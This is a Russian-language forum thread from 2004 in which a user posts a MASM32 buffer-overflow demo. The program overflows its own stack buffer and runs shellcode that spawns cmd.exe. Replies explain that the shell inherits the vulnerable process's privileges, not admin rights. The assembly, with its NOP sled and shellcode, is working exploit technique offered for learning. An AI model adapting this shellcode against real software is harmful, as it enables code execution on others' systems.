|
|
| Посл.отвђт | Сообщенiе |
|
|
Дата: Июн 24, 2004 16:12:03 · Поправил: animator Добрый день! Собрал все статьи на русском о переполнении буфера ... попытался переписать что-то свое ...
;echo off
;goto make
.386
.model flat, stdcall
option casemap: none
include \masm32\include\windows.inc
include \masm32\include\kernel32.inc
includelib \masm32\lib\kernel32.lib
include \masm32\include\masm32.inc
includelib \masm32\lib\masm32.lib
include \masm32\include\user32.inc
includelib \masm32\lib\user32.lib
.data
;*******************************************
_shell_code db '1111222233'
_new_EIP dd $ + 10 + 4
db 90h,90h,90h,90h,90h,90h,90h,90h,90h,90h
db 90h,90h,90h,90h,90h,90h,90h,90h,90h,90h
db 90h,90h,90h,90h,90h,90h,90h,90h,90h,90h
push 5 ; push SW_SHOW
mov EAX, offset clBuffer
push EAX
db 0B8h ; mov EAX, ...
_WinExec DD ?; тут положим адресс WinExec()
CALL EAX
PUSH 0
db 0B8h ; mov EAX, ...
_ExitProcess DD ? ; тут положим адресс ExitProcess()
CALL EAX
clBuffer db 'C:\WINNT\system32\CMD.EXE',0
len_ EQU $ - _shell_code
;***************************************************
_Kernel32 DD ?
szKernel32 DB 'kernel32.dll',0
szExitProcess DB 'ExitProcess',0
szWinExec DB 'WinExec',0
;----------------------------------------------
.code
start:
invoke LoadLibrary,ADDR szKernel32
mov _Kernel32,EAX
invoke GetProcAddress, EAX,ADDR szExitProcess
mov _ExitProcess,EAX
invoke GetProcAddress, _Kernel32,ADDR szWinExec
mov _WinExec,EAX
call _strspy
;----------------------------------------------
_strspy:
PUSH EBP
MOV EBP,ESP
ADD ESP,0Ah
LEA ESI,_shell_code
LEA EDI,DWORD PTR SS:[EBP-0Ah]
XOR ECX,ECX
MOV CL,len_
CLD
wh:
LODS BYTE PTR DS:[ESI]
STOS BYTE PTR ES:[EDI]
LOOPD wh
mov ESP,EBP
RET
;----------------------------------------------
end start
:make
SET PROJECTNAME=_e
SET MASMBINPATH=\MASM32\BIN
%MASMBINPATH%\Ml.exe /c /coff /Zp1 %PROJECTNAME%.bat
%MASMBINPATH%\Link.exe /SUBSYSTEM:WINDOWS /SECTION:.text,EWR %PROJECTNAME%.obj
del *.obj
Переполнение происходит, вызывается cmd.exe, без проблем, НО! в режиме пользователя после запуска этой программы нет админских прав, то есть комада в оболочке cmd : net session выдает ошибку 5 мол нет таких прав :( Подскажите пожалуйста в чем ошибка, хотелось бы знать. Спасибо. |
|
|
Дата: Июн 24, 2004 16:42:08 запуска этой программы нет админских прав Эта программа должна давать админские права ? |
|
|
Дата: Июн 24, 2004 16:50:10 · Поправил: animator ... а какже тогда известная статья ... http://www.uinc.ru/articles/14/ ... там это и обещается ... |
|
|
Дата: Июн 24, 2004 17:10:43 ... а какже тогда известная статья ... Известная ? Это смотря , кто чем интересуеться :) ... там это и обещается ... Там что-то говориться о контексте SYSTEM , а ты запускаешь с правами текущего юзверя . Кроме того статья 2001 года . У тебя какая винда и какие стоят сервиспаки ... |
|
|
Дата: Июн 24, 2004 17:12:25 ... Win2000 SP4. |
|
|
Дата: Июн 27, 2004 16:27:21 в ХР-инглишь не хотит работать твой код. |
|
|
Дата: Июн 27, 2004 17:14:11 · Поправил: intuit animator > Переполнение происходит, вызывается cmd.exe, без проблем, НО! С чего ты взял, что переполняемый буфер принадлежит программе, выполняемой с правами Администратора и выше? ты получаешь командную строку с правами текущего выполняемого "уязвимого" приложения.. |
|
|
Дата: Июн 28, 2004 10:40:42 · Поправил: animator ... да, Вы правы, спасибо. Глупым получился мой вопрос, ну ничего ... :) |
|
Powered by miniBB 1.6 © 2001-2002
Время загрузки страницы (сек.): 0.049 |